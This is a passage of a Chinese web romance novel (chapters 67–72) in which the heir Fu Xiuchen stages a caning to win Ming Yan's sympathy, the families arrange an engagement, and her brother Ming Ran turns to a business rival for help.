傅老爷子气得浑身发抖,指着傅修沉,“你……你……” 没过多久,福伯捧着一根黝黑发亮的藤条回来了,藤条约有拇指粗细,表面光滑,却透着一股森然的寒意。 这就是傅家传承下来的家法,虽不是许宴清夸张的几十斤钢鞭,但抽在人身上,也绝对不好受。 傅修沉接过藤条,在手中掂量了一下,然后,在傅老爷子和福伯震惊的目光中,他将藤条直接塞到了傅老爷子手里。 “干……干什么?” 傅修沉利落地解开西装外套的扣子,将外套脱下来随手扔在旁边的椅子上,然后,直挺挺地跪了下去。 他抬起头,目光平静地看着满脸错愕的傅老爷子,薄唇微启,清晰地吐出一个字: “打。” 傅老爷子:“!!!” 福伯:“!!!” 书房里陷入了一片死寂。 傅老爷子看着手里沉甸甸的藤条,又看了看跪在自己面前的傅修沉,脑子彻底转不过弯来了。 这唱的是哪一出?! 他刚才虽然生气,但也只是想训斥几句,吓唬吓唬他,根本没想过真动手啊! 更别提家法了! 怎么这小子自己主动要求上了?! 傅老爷子拿着藤条,打也不是,不打也不是。 “你……你小子到底搞什么名堂?!”看着跪得笔直的孙子,傅老爷子又气又急,更多的却是莫名其妙。 傅修沉的眉头几不可察地蹙了一下,抬眸看向傅老爷子,语气依旧平静无波,“打就行了,来吧!” 傅老爷子:“……” 活了这么大岁数,他什么风浪没见过? 可眼前这情形,他是真没见过! 自己要求挨打? 还求得这么……理直气壮? 这混小子,不会又在算计什么吧? 第67章 非她不可(加更) 傅老爷子手里攥着那根沉甸甸的藤条,嘴角抽搐了一下——打? 开什么玩笑! 且不说傅修沉如今已是傅家实际上的掌舵人,跃华生物更是他一手打造的商业帝国,威望和能力无人能及,由他接手整个傅家是早晚的事。 这家法,与其说是惩罚,不如说是一种象征,岂是能随便动在继承人身上的? 更何况,就为了这点捕风捉影的桃色新闻? 傅老爷子心里门儿清,那些财经小报惯会捕风捉影,夸大其词。 什么股价波动,市值蒸发一个亿? 在他这种经历过真正大风大浪的人看来,不过是水面上的小小涟漪。 市值这东西,今天能跌,明天就能涨回来,他根本就没放在心上! 他之所以摆出这副雷霆震怒的架势,纯粹是……欣慰啊! 他这大孙子都快三十的人了,身边别说固定女伴,连只母蚊子都少见! 外头传什么的都有,甚至一度让他这老头子怀疑孙子的性取向是不是有问题,每天防许宴清那几个俊俏小子跟防贼似的! 如今可好! 终于有绯闻了! 还被拍到了! 这说明什么? 说明他孙子取向正常! 是个正常男人! 别说只是蒸发一个亿,就算真蒸发上百亿,只要能换来一个孙媳妇,傅老爷子都觉得值! 所以,他刚才的‘暴怒’,七分是装,三分是试探,想看看这小子到底是个什么态度。 可傅修沉这反应……也太诡异了! 傅老爷子举着藤条,手臂僵在半空,落也不是,不落也不是。 一分钟里,他手腕抖了抖,胳膊抬了又放,放了又抬,假动作做了不下八百个,那藤条硬是没挨到傅修沉的边。 就在这尴尬僵持之际,书房外传来一阵急促却刻意放轻的脚步声,老管家福伯去而复返,脸上带着一丝不易察觉的古怪神色,凑到傅老爷子耳边,用气声低语:“老爷子,明家那位小姐来了,就在楼下客厅,说……说有急事要见您和少爷。” 声音虽轻,但在寂静的书房里,足以让跪着的傅修沉也听得一清二楚。 傅老爷子先是愣了一下,随即猛地扭头看向依旧跪得笔直,但唇角几不可察地勾起一丝弧度的傅修沉! 电光火石间,傅老爷子恍然大悟! 好小子! 这是唱的苦肉计啊! 他就说嘛! 这混账东西怎么可能真跑来乖乖领家法! 原来是在这儿等着呢! 算准了那姑娘心软,搁这儿演“负荆请罪”博同情呢! 一想到打一顿这皮糙肉厚的大孙子,就能换来一个香香软软的孙媳妇,傅老爷子瞬间觉得手里这根藤条都变得顺眼了起来! 刚才还觉得千斤重,现在只觉得轻飘飘! 这买卖,划算! “好!好你个混账东西!敢做就要敢当!今天老子就让你长长记性!”傅老爷子瞬间戏精附体,眉毛倒竖,须发皆张,仿佛真的怒不可遏,手中藤条高高扬起! 这一次,手臂不再是虚晃,那黝黑的藤条带着破空之声,结结实实地朝着傅修沉的背脊挥了下去! “啪——!” 清脆响亮的声音在书房里炸开,伴随着布料撕裂的细微声响。 傅修沉闷哼一声,身体几不可察地晃动了一下,额角瞬间沁出细密的冷汗,但他依旧咬紧牙关,跪得笔直,甚至连眉头都没皱一下。 “老爷子!使不得啊!”福伯在门外听得心惊肉跳,忍不住推门进来,看到傅修沉背上瞬间浮现出的零星血色,老脸都白了。 “滚出去!谁让你进来的!”傅老爷子正在“兴头”上,演技全开,一把推开福伯,再次扬起了藤条,“我今天非要让这孽障长长记性!” …… 而此时的客厅里,明嫣正坐立不安。 她被佣人引进来时,就隐约听到了书房方向传来的动静。 她的心瞬间提到了嗓子眼。 许宴清在电话里焦急的声音言犹在耳——傅家的家法……几十斤重的钢鞭沾了盐水……三鞭下去差点没命! 难道……他们真的在动家法? 她再也坐不住,猛地站起身,也顾不得什么礼仪规矩,循着声音就朝着书房方向冲去。 当她气喘吁吁地跑到书房门口,恰好看到傅老爷子高高扬起藤条…… 而那跪在地上的挺拔背影,西装外套早已脱下扔在一旁,只穿着单薄衬衫的后背上,一道刺目的红痕清晰可见,甚至隐隐渗出血丝! “住手!!” 明嫣想也没想地冲了过去,在藤条即将再次落下的瞬间,猛地张开双臂,不管不顾地扑到了傅修沉的背上,用自己的身体牢牢护住了他! 傅老爷子举着藤条的手僵在半空,看着突然冲出来抱住傅修沉的明嫣,眼底迅速掠过一丝得逞的笑意,但面上却依旧是雷霆震怒:“你……你是明家丫头?让开!这是我们傅家的家事!这混账做出此等丑事,败坏门风,今天我必须执行家法!” “不是的!傅爷爷,不是他的错!”明嫣紧紧抱着傅修沉,能清晰地感受到他背部肌肉的紧绷和透过衬衫传来的灼热温度,还有那淡淡的血腥气…… 她的眼眶立马就红了,“那天晚上是因为我……是我被人下了药,神志不清,傅修沉他是为了救我才……我们……我们是正经在谈恋爱!是奔着结婚去的!” 情急之下,她把许宴清教的话一股脑地喊了出来,只希望能平息傅老爷子的怒火,保住傅修沉。 被她紧紧抱住的傅修沉,身体几不可察地微微一僵。 他能感受到背后传来的柔软触感,一抹极淡的弧度在他唇角稍纵即逝,快得无人察觉。 傅老爷子心中大定——好! 要的就是你这句话! 但他面上依旧不显,只是重重哼了一声,手中的藤条却没有再举起,语气似乎缓和了一点点,“认真的?以结婚为前提?” “是!”明嫣用力点头,眼神坚定,虽然脸颊绯红,却没有任何闪躲。 傅老爷子目光锐利地在她脸上扫视片刻,然后又看向傅修沉,语气带着质问:“她说的是真的?你小子真是认真的?不是玩玩?” 傅修沉这才缓缓抬起头,目光先是落在明嫣的侧脸上,停留了一瞬,然后才转向傅老爷子,声音低沉却清晰:“是认真的。” 他顿了顿,嗓音低沉缱绻,“非她不可。” 第68章 订婚? 傅老爷子手中的藤条终于缓缓放了下来,他重重地“哼”了一声,脸色也缓和了下来。 “既然是认真的,那这次就暂且记下!” 傅老爷子将藤条往旁边一扔,目光扫过依旧跪着的傅修沉和护在他身前的明嫣,“给你们一个月的时间,把订婚仪式办了,也省得外面那些长舌妇再乱嚼舌根!” 一个月?订婚? 明嫣懵了,她刚才情急之下口不择言,只想先保住傅修沉,完全没想过后续会发展成这样! “傅爷爷,这……这太仓促了……”明嫣试图挣扎一下,“我们……” “仓促什么?!”傅老爷子打断她,语气不容置疑,“一个月时间筹备订婚宴,时间充裕得很,这件事就这么定了!” 说着,他转身对候在门口的福伯吩咐道:“阿福,去,把家庭医生叫来,给这臭小子处理一下伤口。再让人准备一下,我要亲自给明家打电话商量订婚事宜!” “是,老爷子!”福伯连忙应下。 傅老爷子又看了一眼跪在地上的傅修沉,“还跪着干什么?等着我扶你起来?滚去上药!” 说完,也不等两人反应,傅老爷子拄着拐杖,心情颇佳地率先走出了书房。 一时间,书房里就只剩下明嫣和傅修沉两人。 空气仿佛凝滞了。 明嫣这会儿还在懵着,刚才情急之下的勇气如同潮水般褪去,只剩下满脸的不知所措。 她……她刚才都说了些什么? 谈恋爱? 奔着结婚? 还……还扑上来抱住他? 明嫣只觉得一股热血‘轰’地一下全涌上了头顶,脸颊烫得惊人,她下意识地想要后退,却被男人反手轻轻握住了手腕。 他的掌心温热,甚至有些滚烫,熨帖在她微凉的皮肤上。 “现在知道负责任了?”傅修沉低沉的声音带着一丝不易察觉的笑意,“明律师终于不渣了?” 他依旧保持着跪姿,但背脊挺直,侧脸线条在书房明亮的光线下显得清晰利落,额前凌乱的碎发不但无损他的俊美,反而添了几分野性的不羁。 明嫣触电般想抽回手,却没成功,只好强装镇定,但微微泛红的耳尖却出卖了她内心的兵荒马乱,“你……你闭嘴!” 她羞恼地瞪着他,“谁……谁渣了!我那……我那是在情急之下为了救你!权宜之计!懂不懂?” 她越说越觉得有理,强行让自己镇定下来,深吸一口气,努力摆出公事公办的冷静面孔,“当务之急是先解决眼前的麻烦。傅修沉,你肯定也不想被这莫名其妙的订婚绑住吧?我们得想办法……” “不是什么莫名其妙……”傅修沉打断她的话,嘴角的笑意逐渐淡了下去,视线投向书桌的方向,语气变得有些意味不明,“我没这么想过。” 没这么想过? 没想过什么? 明嫣一愣,下意识地歪头看他,目光落在他棱角分明的侧脸上。 此时的傅修沉脸上没什么神情,零星碎发下是一双幽深明亮的眸子,眼尾处的朱砂痣更是为他这张脸平添了几分琦色。 明嫣的视线不由自主地循着他的目光看去,正好落在了书房一侧的红木书桌上。 那里摊开放着一份今天的江南本地财经报纸,头版头条正是那张模糊却刺眼的照片,以及关于跃华生物股价波动的报道。 她不由得抿了抿唇—— 原来……他是在看这个。 刚刚有那么一秒,她还以为他说订婚不是莫名其妙,所以没那么想过…… 现在看到报纸,明嫣就立马清醒了。 也是。 他可是傅修沉。 一手创立跃华生物,矗立在沪圈商业帝国的最顶端的大佬,他真正在意的始终是跃华生物的声誉和股价。 所谓的订婚,在他眼里,恐怕和一场商业并购,抑或是一次危机公关没什么区别。 她的手指微微收拢,刚要压下心头乱七八糟的情绪时,放在口袋里的手机却毫无预兆地响了起来,打破了书房里微妙的沉寂。 明嫣被铃声惊得一个激灵,手忙脚乱地掏出手机。 当看清屏幕上跳跃的“大哥”两个字时,她的心跳都漏了半拍,头皮一阵发麻。 完了! 大哥肯定也看到新闻了! 傅修沉下意识地扭头扫了一眼来电显示,随即微微勾了勾唇,转头看向窗外,仿佛对这通电话毫不在意。 明嫣深吸了一口气,这才划开了接听键。 “喂,哥……” 电话刚一接通,明燃声音就砸了过来,即便隔着听筒,也能感受到那股骇人的低气压:“嫣儿!今天的财经报道是怎么回事?!那上面跟傅修沉传绯闻的女人,是不是你?!” 因为书房太过安静,加上明燃的嗓门实在不小,即使明嫣没有开免提,那声音也清晰地传了出来,回荡在空气中。 明嫣心里叫苦不迭,下意识地就想捂住话筒走到角落去接。 “哥!你……你胡说什么呢!怎么可能是我!你看错了!那照片那么模糊,连脸都看不清,你怎么就认定是我了……” “不是最好!” 明燃的语气稍微缓和了一些,“我告诉你嫣儿,傅修沉那小子,你离他越远越好!那就是个吃人不吐骨头的阴险家伙!表面上一本正经,背地里不知道多少龌龊心思!” 明嫣听得头皮发麻,“好了,哥!我知道了……” 然而,就在这时,她突然听见身后传来一阵窸窣的布料摩擦声。 明嫣下意识地扭头望去—— 只见原本背对着她望向窗外的傅修沉,不知何时已经转过了身。 此时的他就站在书桌旁,修长的手指搭在衬衫的纽扣上,第一颗扣子已经被解开,露出了线条分明的锁骨和一小片紧实冷白的胸膛…… 而他指尖的动作未停,正慢条斯理地,准备解开了第二颗纽扣…… “啊——!” 明嫣完全没料到会看到这一幕,吓得低呼一声,手忙脚乱地捂住了眼睛,脸颊在刹那间红透,连脖颈都染上了绯色。 “嫣儿?你怎么了?出什么事了?!” “……” 第69章 你、脱衣服干什么? 明嫣慌忙收回视线,脸颊烧得厉害,压根不敢往傅修沉那边瞟,舌头都像是打了结,“哥,我……我没事儿……刚才看见一只大蟑螂,吓死我了……已经跑掉了,那个,我这边还有事要忙,不说了,先挂了啊……” 说着,还没等明燃说话,她这边已然挂断了电话。 “傅修沉!你、你脱衣服干什么?!” 只见傅修沉依旧站在书桌旁,修长的手指还搭在衬衫的第三颗纽扣上,冷白的锁骨和一小片紧实的胸膛在灯光下若隐若现。 他微微挑眉,唇角勾起一抹极淡的弧度,伸手指了指不知何时被放在书桌一角的一个打开的小医药箱。 “上药。”他言简意赅,语气坦然得仿佛刚才那个当着她面宽衣解带的人不是他一样。 “……” 明嫣一噎,这才注意到那个棕色的皮质药箱,里面整齐地摆放着碘伏、棉签和纱布。 可…… 可上药就上药,用得着…… 用得着在她面前现在就脱衣服吗?! 明嫣气鼓鼓地瞪着他——分明就是故意的! “怎么?要帮我上药吗?” 傅修沉慢条斯理的作势要解第三颗扣子…… 明嫣的呼吸一滞,蹭地一下转过身,快步朝着书房门口走去,“你自己上吧!” 她扔下这几个字,就头也不回地拉开书房门飞快地跑了出去,甚至差点被门口的地毯绊了一下。 “砰!” 书房门在她身后被重重带上。 明嫣一路几乎是跑着下了楼,直到冲出主宅,来到庭院里,被微凉的晚风一吹,她才感觉自己滚烫的脸颊和耳根温度降下去了一点。 她停下脚步,靠在庭院里一棵高大的玉兰树下,微微喘息着,抬手用力拍打着自己依旧发烫的脸颊,试图用手掌的凉意给自己散热。 可是……脑海里却不可抑制地浮现刚才书房里的那一幕—— 男人修长的手指搭在纽扣上,慢条斯理的动作,解开的衬衫下逐渐露出的冷白皮肤,清晰的锁骨线条…… “啊——!”明嫣低叫一声,用力甩了甩头,像是要把这些乱七八糟的“黄色废料”从脑子里彻底甩出去。 她在胡思乱想什么呢! 打住! 色即是空。 空即是色…… 而就在明嫣兀自念叨着清心咒时,脑海中某个画面却像是定格的胶片,突然清晰地浮现出来—— 傅修沉左侧胸口的位置,靠近心脏的地方,似乎……有一道若隐若现的,淡粉色的……伤疤? 明嫣甩头的动作猛地顿住,微微蹙起了眉头。 那道疤…… 位置…… 她抿了抿唇。 霍寒山的胸口也有一道疤,是当年救她时被歹徒的刀子划伤的…… 可是,傅修沉胸口怎么也会有一道? 是巧合吗? 还是…… 这个念头刚一冒出来,就被她立刻否定了。 怎么可能? 应该是她看错了。 明嫣深吸一口气,将这点莫名的疑虑彻底抛诸脑后。 现在不是想这些的时候,当务之急,是想想怎么解决眼前这个订婚的烂摊子! …… 书房内。 听着门外仓促逃离的脚步声,傅修沉唇角不由得勾起一抹似笑非笑的弧度。 他低头,看了一眼自己胸口靠近心脏处那道已经变得很浅的淡粉色疤痕,眸色深沉难辨。 他的脑海里不由得浮现出五年前那个冬夜——昏暗的小巷,冰冷的刀锋,以及……温热血液溅在脸上的触感…… 医生当时说过,这匕首再深一寸就划破大动脉了…… 所幸,明嫣没事。 傅修沉抿了抿唇,走到医药箱前,拿起碘伏和棉签,简单地给后背的伤口消毒上药。 药液触及伤口的刺痛让他几不可察地蹙了下眉,但他的动作却没有丝毫停顿,仿佛感觉不到疼痛。 处理好伤口,他拿起扔在一旁的干净衬衫,慢条斯理地穿上,一颗一颗系好纽扣,遮住了那道陈年旧疤,又恢复成平日里那个矜贵冷峻的傅家掌权人模样。 他走到窗边,掀开厚重窗帘的一角,目光向下望去。 庭院里,玉兰树下,那个纤细的身影正焦躁地来回踱步,时不时抬手拍打自己的脸颊,一副懊恼又无措的模样。 傅修沉深邃的眼底掠过一丝柔光,指尖无意识地摩挲着窗棂,脑海中浮现的,却是十年前那个夏天,明家后院,秋千上那个捧着书本的少女侧影…… 他原本以为自己不会再有机会走到她身边。 可老天—— 到底待他不薄…… …… 而此时的明氏集团。 明燃望着刚刚被小妹挂断的电话,眉头紧锁,指尖无意识摩挲着手机边框,金属的凉意渗进皮肤。 蟑螂? 江南深秋哪来那么大的蟑螂? 那丫头撒谎时尾音会不自觉上扬的毛病,从小到大都没改掉。 他烦躁地扯松领带,正要回拨,书房门被敲响。 “进。” 只见明父明庭峰拿着仍在通话中的手机走进来,面色有些微妙,对他比了个噤声的手势。 “……是,傅老,您说。” 明庭峰语气恭敬,听着电话那头中气十足的嗓音,眉头渐渐舒展开,甚至带上了一丝笑意? 明燃心头那点不好的预感骤然攀升。 “是,孩子们情投意合是好事……嫣儿这孩子是任性了点儿……好……哈哈哈……那订婚事宜您看着安排,我们明家一定配合……” 他站在原地,听着父亲不时应和的话,只觉得一股寒气从脚底窜起,直冲天灵盖。 傅老? 能让父亲用这种语气说话的,整个沪圈只有一位! 电话持续了将近十分钟。 明庭峰挂断电话,转身看向面色铁青的儿子,“是傅家老爷子。说嫣儿现在就在傅家老宅,和修沉在一起。” 他顿了顿,意味深长地看了明燃一眼,“今天财经报上那绯闻,女主角就是嫣儿。傅老的意思,两个孩子是正经恋爱,打算结婚的。为了平息风波,也为了嫣儿的名誉,打算尽快给他们办订婚宴,就定在下个月。” 每一个字都像冰锥,狠狠砸在明燃的耳膜上。 他感觉自己的血液在瞬间冻结,又在下一秒疯狂燃烧起来。 “我不同意!”明燃猛地抬头,声音嘶哑,眼底是压不住的骇人红丝,“这桩婚事,我绝不同意!” 明庭峰脸上的笑容淡去,眉头蹙起:“理由?” 第70章 明燃黑化!(加更) 明燃喉结剧烈滚动,嘴唇张了张,那些被他死死压在心底最深处,肮脏得让他齿冷的画面再次翻涌上来,灼烧着他的理智。 他能说什么? 说傅修沉就是个彻头彻尾的伪君子,是觊觎他妹妹多年,心思龌龊的禽兽? 说那个道貌岸然的家伙,早在多年前就曾对年幼的明嫣…… 他说不出口! 那个秘密像一块烧红的烙铁,烫在他的心上,也死死堵住了他的嘴。 “没有理由!”明燃额角青筋暴起,拳头攥得死紧,指节咯吱作响,“反正……反正就不能是傅修沉!他不是良配!嫣儿跟他在一起不会幸福!” “胡闹!”明庭峰脸色沉了下来,“修沉那孩子是我看着长大的,能力、品性,哪一样不是顶尖?跃华生物是他一手创办,如今估值万亿!傅家更是沪圈翘楚!他对嫣儿有心,傅家老爷子更是亲自打电话来商定婚事,显然是真的看重嫣儿……” 他深吸一口气,看着情绪明显不对的长子,语气放缓,“更何况,现在绯闻已经闹得满城风雨,嫣儿一个女孩子,名誉最重要!这件事,于公于私,都没有转圜的余地!” 明燃死死盯着父亲,胸膛剧烈起伏。 他知道父亲说得有道理。 商业联姻,强强联合,平息舆论,维护名誉…… 每一条都无可指摘。 可他只要一想到妹妹要和那个心思深沉的禽兽绑在一起,他就恨不得立刻冲去傅家,把妹妹抢回来! “爸……” “够了!”明庭峰打断他,“这件事就这么定了!我知道你疼嫣儿,但这件事,关乎她一生的幸福和名誉,由不得你任性!” 明燃阴沉着脸没再说话,碎发半遮眼睛,黑眸里的光冷而利。 他猛地转身拉开门…… “砰——!” 房门被摔得震天响。 …… 与此同时,傅家老宅。 明嫣有些局促不安地坐在沙发上,一旁的傅修沉已经换了一身干净衬衫,身上隐约带着一股清冽的冷木香和药水味儿。 傅老爷子转头,对候在一旁的福伯吩咐道:“去,让厨房准备些点心,再把我珍藏的那盒明前龙井拿出来。” 他笑眯眯地看向明嫣,“嫣儿,陪爷爷去花房喝杯茶?那边新到了几盆十八学士,开得正好,你来看看喜不喜欢。” 明嫣哪里好意思拒绝,只能站起身:“好的,傅爷爷。” 傅修沉闻言,也自然而然地站起身。 “你跟着干什么?”傅老爷子立刻瞪了他一眼,“伤患就老老实实在屋里待着!别到处乱晃!” 傅修沉脚步顿住,目光淡淡扫过明嫣。 明嫣下意识地避开了他的视线。 傅老爷子像是没看见两人之间微妙的气氛,乐呵呵地招呼明嫣:“走,嫣儿,跟爷爷来。” 明嫣只好跟着傅老爷子穿过曲折的回廊,来到宅子后方的玻璃花房。 花房内温暖如春,各色珍稀花卉争奇斗艳,空气里弥漫着沁人心脾的花香与茶香。 傅老爷子亲自沏茶,手法娴熟,一边和明嫣聊着花草,一边状似无意地将话题引到了傅修沉小时候的趣事上。 “……别看他现在这副冷冰冰的样子,小时候可皮了,上树掏鸟窝,下河摸鱼,没少挨他爸的揍。” 明嫣捧着温热的茶杯,听着老爷子絮絮叨叨,紧绷的神经稍稍放松了一些,忍不住想象了一下小时候的傅修沉会是什么模样。 “后来他爸意外去世,他就变了,话少了,心思也沉了……”傅老爷子叹了口气,眼神里带着心疼和追忆,“一个人扛起傅氏,创立跃华,不容易啊……身边连个知冷知热的人都没有。” 明嫣听着,心里有些不是滋味。 傅修沉当年创立跃华生物时,整个沪圈几乎没有支持他的,权当以为他是在玩票…… 毕竟人人都知,没有父亲荫庇,他一个半大的孩子不可能在傅家立足。 可他硬生生地以一己之力将跃华生物打造成如今的商业帝国,更是以绝对的影响力稳坐傅家接班人的第一把交椅! 她不用想都知道,傅修沉这一路走来有多艰难。 “嫣儿啊,”傅老爷子话锋一转,目光慈爱地看着她,“修沉这孩子,性子是闷了点,也不会说什么甜言蜜语,但他认定的事,认定的人,就会一根筋走到底。他既然选择了你,就一定会对你好,护着你。” 明嫣脸颊微热,低下头,不知该如何接话。 她能和傅老爷子说,这一切都是假的吗? 都是为了应对危机的权宜之计? 她说不出口。 傅老爷子看着她微红的侧脸,只当是小姑娘害羞,脸上的笑容更深了。 他又坐了一会儿,便借口要去书房处理点事情,起身离开了花房,临走前还特意嘱咐明嫣多坐坐,欣赏欣赏花。 偌大的花房,顿时只剩下明嫣一个人。 她看着眼前开得正盛的十八学士,花瓣层层叠叠,洁白如玉,心思却飘到了别处。 …… 主宅二楼,书房。 傅修沉站在窗边,目光穿过透明的玻璃,落在花房里那个对着茶花发呆的纤细身影上。 他指间夹着一支未点燃的烟,眸色深沉。 福伯悄无声息地走进来,低声道:“少爷,明燃少爷刚才……开车离开明家老宅了,买了去……江南的机票。” 傅修沉眸色未动,只是淡淡“嗯”了一声。 他早就料到明燃会坐不住。 他不可能眼睁睁看着明嫣和他订婚,肯定是要捣乱破坏。 “老爷子去了花房,和明小姐聊了一会儿,刚刚离开。”福伯继续汇报。 傅修沉掐灭了根本没点燃的烟,转身朝书房外走去。 “少爷,您的伤……” “无妨。” …… 花房里,明嫣正对着一株并蒂的十八学士出神。 “喜欢?” 低沉的嗓音突然自身后响起,吓了明嫣一跳。 她猛地回头,只见傅修沉不知何时站在了她身后,距离很近,她能闻到他身上淡淡的药味和那股熟悉的冷冽木质香气。 “你……你怎么来了?”明嫣下意识地后退半步,后背抵在了冰凉的花架上。 “我的家,我不能来?”傅修沉微微挑眉,向前逼近一步。 花房内空间本就有限,他这一靠近,两人之间的距离瞬间变得呼吸可闻。 明嫣甚至能看清他衬衫领口下,若隐若现的白色绷带边缘…… 第71章 你……别乱来 花房内,花香馥郁,暖意熏人。 明嫣后背抵着微凉的花架,退无可退。 傅修沉就站在她面前,高大的身影几乎将她完全笼罩,清冽的木质香混合着淡淡的药味,霸道地侵占着她的呼吸。 “躲什么?”他嗓音低哑,修长指尖并未直接触碰她,而是轻轻捻起她颊边一缕不听话的发丝,慢条斯理地别到她耳后。 指尖若有似无地擦过耳廓,带起一阵细微的战栗。 明嫣呼吸一窒,脸颊不受控制地烧起来,想偏头躲开,下颌却被他用指尖轻轻抵住。 “傅修沉……” 明嫣被他的动作吓了一跳,连带着心跳失序,“傅爷爷刚走,你……你别乱来……” “乱来?”他低低重复,唇角勾起一抹极淡的弧度,像是冰雪初融,带着惊心动魄的美感。 他俯身,温热的气息喷洒在她敏感的耳廓和颈侧,“怎样算乱来?” 他靠得极近,高挺的鼻梁几乎要蹭到她的脸颊,唇瓣若有似无地擦过她的耳垂,“是这样?” 明嫣浑身一僵,电流般的酥麻感从耳垂瞬间窜遍四肢百骸,腿脚一阵发软,险些站不住。 她下意识地伸手,抓住了他腰侧的衬衫布料,入手是熨帖的温热和布料下紧实肌理的轮廓。 意识到自己做了什么,她像被烫到一样想缩回手,却被他更快地握住手腕,按在了自己胸口。 隔着一层薄薄的衬衫,她能清晰地感受到他沉稳有力的心跳。 一下,一下,撞击着她的掌心。 “还是……”他目光沉静,锁住她慌乱的水眸,拇指在她细腻的手腕内侧轻轻摩挲,带来一阵阵过电般的痒意,“这样?” 明嫣只觉得血液全都涌上了头顶,脸颊红得能滴出血来。 她想抽回手,却被他攥得更紧。 他掌心的温度滚烫,透过皮肤,几乎要将她灼伤。 “你……你放开……”她声音细弱蚊蚋,带着羞恼,“我……我警告你,你这样涉嫌x……骚扰……” “x骚扰?”傅修沉微微挑眉,另一只手撑在她耳侧的花架上,将她彻底困在自己与花架之间方寸之地,“刚才在书房,扑上来抱着我的时候,怎么不见你说x骚扰?” 他提起书房的事,明嫣更是羞得无地自容,嘴硬道:“我那……那是为了救你!” “哦?”他拖长了语调,眸色渐深,像是化不开的浓墨,“所以现在呢?一句‘为了救我’就想把一切都撇清?” 他的指控让她心慌意乱,偏偏他靠得这样近,气息交融,她甚至能数清他长而密的睫毛。 那股清冽好闻的男性气息霸道地侵占着她的感官,让她头脑发昏,思考能力急剧下降。 “我没有……”她无力地辩解,眼神躲闪,不敢与他对视。 “没有?”他低笑,笑声像是带着小钩子,挠得人心尖发痒。 他微微偏头,唇瓣几乎要贴上她的,声音压得极低,带着蛊惑人心的魔力,“那证明给我看。” “证明……什么?”明嫣心跳如擂鼓,几乎要冲破胸腔。 “证明……”他目光落在她微微张合的唇瓣上,嗓音低哑地一塌糊涂,“你不是在撇清关系……” 话音未落,他不再给她思考的机会,低头,吻住了她微张的唇瓣。 “唔……” 明嫣猛地睁大了眼睛,大脑一片空白。 他的吻并不粗暴,甚至带着几分试探的轻柔,先是轻轻含住她的下唇,细细吮吻,像是在品尝什么绝世美味。 然而,这点轻柔很快便被更深的渴望取代。 他撬开她的齿关,长驱直入,纠缠着她无处可逃的柔软。 不同于那晚酒醉后的模糊记忆,此刻的触感清晰得令人心惊。 他的气息,他的温度,他唇舌间不容抗拒的力道,都让她浑身发软,只能依靠着他攥住她手腕的那点力量和身后花架的支撑,才不至于滑落在地。 氧气变得稀薄,意识逐渐模糊。 她被动地承受着这个炽热而深入的吻,原本抵在他胸口的手,不知何时软软地滑落,无力地搭在他紧实的臂膀上。 感受到她的顺从,傅修沉的吻变得更加深入,带着一种近乎虔诚的掠夺。 他的大手不知何时已经从她的手腕滑落,揽住了她纤细的腰肢,将她更紧地按向自己。 隔着薄薄的衣料,能清晰地感受到彼此身体的曲线和滚烫的温度。 意乱情迷中,明嫣恍惚觉得,自己仿佛变成了一株依附于参天大树的藤蔓,在他的气息笼罩下,一点点失去力气,一点点沉沦…… 直到肺部的空气几乎被榨干,傅修沉才缓缓放开她的唇,但额头依旧抵着她的,呼吸有些粗重,灼热地喷洒在她脸上。 明嫣眼神迷离,双颊酡红,唇瓣被吻得微微肿起,泛着水润的光泽,大口大口地喘息着,像是离水的鱼。 看着她这副被自己亲得晕头转向的模样,傅修沉眼底掠过一丝暗芒,指尖轻轻抚过她红肿的唇瓣,声音沙哑得不成样子: “现在,还想要跟我撇清关系吗?” 明嫣猛地回过神,对上他深邃含笑的眼眸,在半瞬的卡壳后她恼恨得咬牙切齿。 老司机! 绝对是老司机! 居然撩到她身上来了。 “傅修沉!你……你混蛋!”她又羞又恼,用力想推开他,可手脚依旧软得厉害,那点力道像是欲拒还迎。 傅修沉任由她没什么力气地推搡,手臂依旧稳稳地圈着她的腰,低笑道:“嗯,我混蛋。只对你一个人混蛋。” 这近乎情话的低语,让明嫣的心跳再次失控。 花房外传来轻微的脚步声,似乎是佣人经过。 明嫣如梦初醒,猛地抽回手,一把推开傅修沉,踉跄着后退两步,脸颊红透:“我……我该回去了!” 说完,几乎是落荒而逃,连背影都带着仓皇。 傅修沉没有阻拦,站在原地,看着她纤细的背影消失在花房门口,指尖无意识地捻了捻,仿佛上面还残留着她唇瓣的香软触感…… 第72章 合作吗? 夜色如墨,入冬的江南越发的冷清。 一辆黑色迈巴赫撕破夜幕,引擎的低吼压抑着与车内主人同频的暴戾。 明燃握着方向盘,手背上的青筋暴起,车窗映出他紧绷的下颌线和眼底骇人的红丝。 车速骤降,轮胎摩擦地面发出刺耳声响,最终停在一处隐蔽性极佳的别墅门前。 别墅灯火通明,却透着一股冷清。 明燃叩响门环,不过片刻,佣人引他入内。 客厅极大,装修是冷硬的黑白灰风格,宋家家主宋青州穿着深灰色家居服,正坐在沙发上独自品茗,氤氲的热气模糊了他镜片后的眼神。 他对明燃的到来似乎毫不意外,甚至抬手示意了一下对面的空位。 “明总大驾光临,稀客。”宋青州嗓音平和,听不出情绪。 明燃冷眼打量着宋青州,嘴角扯出一抹讥诮的弧度:“宋总这会儿倒有闲情逸致喝茶?看来跃华 Pre-IPO的势头,还没烧到宋氏的门槛?” 宋青州执杯的手顿了顿,抬眼,目光透过镜片落在明燃脸上那显而易见的戾气上。 “明总这话说的。”他慢条斯理地放下茶杯,“跃华风光,那是傅总本事。我们宋氏,偏安一隅,勉强糊口罢了。” “偏安一隅?”明燃嗤笑,几步走到沙发前,俯身,双手撑在茶几上,逼近宋青州,声音压得极低,“宋青州,这里没外人,收起你那套虚与委蛇。傅修沉踩着你宋家往上爬的时候,你怎么不跟他讲偏安一隅?” 宋青州面色不变,只眸色沉了沉。 明燃盯着他,继续往他痛处戳:“我听说宋氏上个季度的财报不太好看?几个核心实验室的负责人被跃华高薪挖走,滋味如何?” “明总消息灵通。”宋青州终于不再绕弯子,身体微微后靠,靠在沙发背上,与明燃拉开些许距离,“所以,你深夜来访,是来看宋某笑话的?” “看你笑话?”明燃直起身,“我是来给你送梯子的。” “哦?”宋青州挑眉,示意他继续说。 “傅修沉要订婚了。”明燃吐出这几个字,每个字都像是裹着冰碴,“对象是我妹妹。” 客厅内陷入一片死寂。 只有墙壁上的挂钟,秒针走动的滴答声,清晰可闻。 宋青州脸上的平静终于出现了一丝裂痕,惊讶一闪而过,随即是更深的审慎。 他重新拿起茶杯,指腹摩挲着温热的杯壁,没有说话。 